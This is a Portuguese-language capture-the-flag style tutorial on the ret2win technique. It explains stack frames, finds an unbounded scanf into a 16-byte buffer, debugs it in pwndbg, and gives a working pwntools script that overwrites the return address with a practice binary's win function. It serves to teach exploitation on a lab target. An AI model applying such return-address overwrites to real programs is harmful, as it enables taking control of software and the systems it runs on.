Ret2win
Arquivos
ret2win
Elf compilado com a flag --no-pie
main.c
Código fonte do elf.
solve.py
Script em python.
📥 Download: Arquivos
O que é Ret2Win
Ret2win é um exploit que envolve a pilha (stack
), de forma que nós reescrevemos os valores armazenados nela para alterarmos o endereço de retorno para uma função win (por isso o nome ret2win).
Mas como isso funciona? Bom, quando chamamos uma função o endereço da próxima instrução é salvo na pilha (rsp
armazena esse endereço), e no início de toda função nós temos uma sequência de código em assembly que são conhecidos como prólogo da função. Eles são o push rbp
que salva na pilha o conteúdo de rbp
, e o mov rbp, rsp
que faz o rbp
ser igual ao rsp
, essas duas instruções basicamente criam um novo segmento de pilha para aquela função. Agora que toda a pilha para a função está criada, ela começa a alocar espaço para as variáveis (se houver) subtraindo o valor de rsp
pelo tamanho da variável (note que a pilha cresce de cima para baixo). Com tudo isso feito, se nós conseguirmos fazer uma variável armazenar um valor maior que o seu tamanho, nós na verdade começaremos a sobrescrever todos os valores que já estavam na pilha, e o objetivo é fazer isso até chegarmos no local onde o endereço da instrução foi armazenado, e assim rescrevemos ele para ser o endereço para a função que queremos ir.
Analisando o código
Normalmente você nunca recebe um arquivo de código para que você simplesmente olhe diretamente para ele e veja as vulnerabilidades, você geralmente vai receber um arquivo executável (na maioria dos casos .ELF). Para nós vermos o código é necessário usar alguma ferramenta que desmonte o executável em seu código assembly, e aqui nós usaremos duas ferramentas: o Ghidra que consegue mostrar o código assembly compilado para pseudo C ou C++, e também permite uma fácil visualização de todo o código, e o PwnDbg que também permite uma visualização do código assembly, mas usaremos ele principalmente por causa da sua capacidade de debugar.
Abrindo o ELF disponibilizado no Ghidra podemos ter acesso a função main
:
undefined8 main(void)
{
vulnFunction();
return 0;
}
Podemos notar que a main
chama outra função, vamos dar uma olhada nela.
void vulnFunction(void)
{
undefined local_18 [16];
__isoc99_scanf(&DAT_00102021,local_18);
printf("Buffer: %s",local_18);
return;
}
Certo, temos uma função que usa o scanf
para armezar o input do usuário em uma variável de tamanho 16 (vale notar que o scanf não tem limite de leitura, esse limite deve ser específicado nos operadores de formato, e nesse caso não há nenhum limitador). Já identificamos a possível vulnerabilidade, mas e a função win? Bom temos que olhar no código para termos certeza que ela existe, para fazermos isso é só usar o Ghidra.
Segue a função win:
void win(void)
{
printf(&DAT_00102004);
exit(0);
}
Debugando com PwnDbg
Agora que sabemos todas as funções, vamos começar a debugar:
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000004011a9 <+0>: push rbp
0x00000000004011aa <+1>: mov rbp,rsp
0x00000000004011ad <+4>: mov eax,0x0
0x00000000004011b2 <+9>: call 0x401168 <vulnFunction>
0x00000000004011b7 <+14>: mov eax,0x0
0x00000000004011bc <+19>: pop rbp
0x00000000004011bd <+20>: ret
End of assembler dump.
pwndbg> disassemble vulnFunction
Dump of assembler code for function vulnFunction:
0x0000000000401168 <+0>: push rbp
0x0000000000401169 <+1>: mov rbp,rsp -> Fim do prologo da função
0x000000000040116c <+4>: sub rsp,0x10 -> Criando espaço para a variável
0x0000000000401170 <+8>: lea rax,[rbp-0x10]
0x0000000000401174 <+12>: mov rsi,rax
0x0000000000401177 <+15>: lea rax,[rip+0xea3] # 0x402021
0x000000000040117e <+22>: mov rdi,rax
0x0000000000401181 <+25>: mov eax,0x0
0x0000000000401186 <+30>: call 0x401040 <__isoc99_scanf@plt>
0x000000000040118b <+35>: lea rax,[rbp-0x10]
0x000000000040118f <+39>: mov rsi,rax
0x0000000000401192 <+42>: lea rax,[rip+0xe8b] # 0x402024
0x0000000000401199 <+49>: mov rdi,rax
0x000000000040119c <+52>: mov eax,0x0
0x00000000004011a1 <+57>: call 0x401030 <printf@plt>
0x00000000004011a6 <+62>: nop
0x00000000004011a7 <+63>: leave
0x00000000004011a8 <+64>: ret
End of assembler dump.
pwndbg> break *0x0000000000401168 -> Colocando um breakpoint bem no início da função
Breakpoint 2 at 0x401168
pwndbg> r
-> com esse comando nós rodamos o código e paramos no breakpoint, e podemos ver a pilha dessa forma
00:0000│ rsp 0x7fffffffddd8 —▸ 0x4011b7 (main+14) ◂— mov eax, 0
01:0008│ rbp 0x7fffffffdde0 ◂— 0x1
pwndbg> n -> esse comando avança para a próxima instrução
pwndbg> n
00:0000│ rbp rsp 0x7fffffffddd0 —▸ 0x7fffffffdde0 ◂— 0x1 -> antigo conteúdo de rbp, e rbp = rsp
01:0008│+008 0x7fffffffddd8 —▸ 0x4011b7 (main+14) ◂— mov eax, 0
02:0010│+010 0x7fffffffdde0 ◂— 0x1
pwndbg> c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -> aqui eu simplesmente escrevi muitos caracteres para demonstrar como vai ficar a stack após isso
0x4011a8 <vulnFunction+64> ret <0x4141414141414141> -> aqui podemos ver que o endereço de retorno foi reescrito por A
pwndbg> x/100x $rsp -> mostrando a pilha, como podemos ver todos os valores que a gente conhecia foram reescritos.
pwndbg> x/100x $rsp
0x7fffffffddd8: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdde8: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffddf8: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffde08: 0x41414141 0x41414141 0x41414141 0x00000041
Solução
Esse é o estado da pilha após ela criar espaço para a nossa variável:
00:0000│ rsp 0x7fffffffddc0 ◂— 0x0
01:0008│-008 0x7fffffffddc8 ◂— 0x0
02:0010│ rbp 0x7fffffffddd0 —▸ 0x7fffffffdde0 ◂— 0x1
03:0018│+008 0x7fffffffddd8 —▸ 0x4011b7 (main+14) ◂— mov eax, 0
Logo para chegarmos no endereço de retorno, teremos que escrever 24
caracteres (0x18
-> 0x7fffffffddd8
- 0x7fffffffddc0
). Antes de fazermos um script para isso, nós temos que dar uma olhada na função win
para acharmos seu endereço:
pwndbg> disassemble win
Dump of assembler code for function win:
0x0000000000401146 <+0>: push rbp
0x0000000000401147 <+1>: mov rbp,rsp
0x000000000040114a <+4>: lea rax,[rip+0xeb3] # 0x402004
0x0000000000401151 <+11>: mov rdi,rax
0x0000000000401154 <+14>: mov eax,0x0
0x0000000000401159 <+19>: call 0x401030 <printf@plt>
0x000000000040115e <+24>: mov edi,0x0
0x0000000000401163 <+29>: call 0x401050 <exit@plt>
End of assembler dump.
Seu endereço é 0x0000000000401146
, vamos para o script:
from pwn import *
p = process('./ret2win')
payload = b'A' * 24
payload += b'\x46\x11\x40\x00\x00\x00\x00\x00'
p.sendline(payload)
print(p.recvuntil(b"?").decode())
#log.info(p.clean())
Esse script é bem simples, nós usamos a biblioteca pwn
que nos permite acessar "programas" por meio do script. Com ela nós abrimos o nosso processo (ret2win), criamos uma mensagem em bytes contendo os 24 caracteres mais o endereço da win (em little endian), e enviamos essa mensagem para o programa. Para pegarmos a mensagem do terminal nós usamos a p.recvuntil(b"?").decode()
, essa função retorna tudo até o caractere ?
, em um formato de array de bytes, e por isso usamos o decode()
para traduzir para nós.
O único problema desse script é que a função recv
da biblioteca pwn
pode gerar erros se ela não encontrar o critério de parada, a outra opção para ela é usar o log.info()
.
Resultado
python3 solve.py
[+] Starting local process './ret2win': pid 172829
[*] Process './ret2win' stopped with exit code 0 (pid 172829)
Buffer: AAAAAAAAAAAAAAAAAAAAAAAAF\x11@Ué, como você chegou aqui?
Atualizado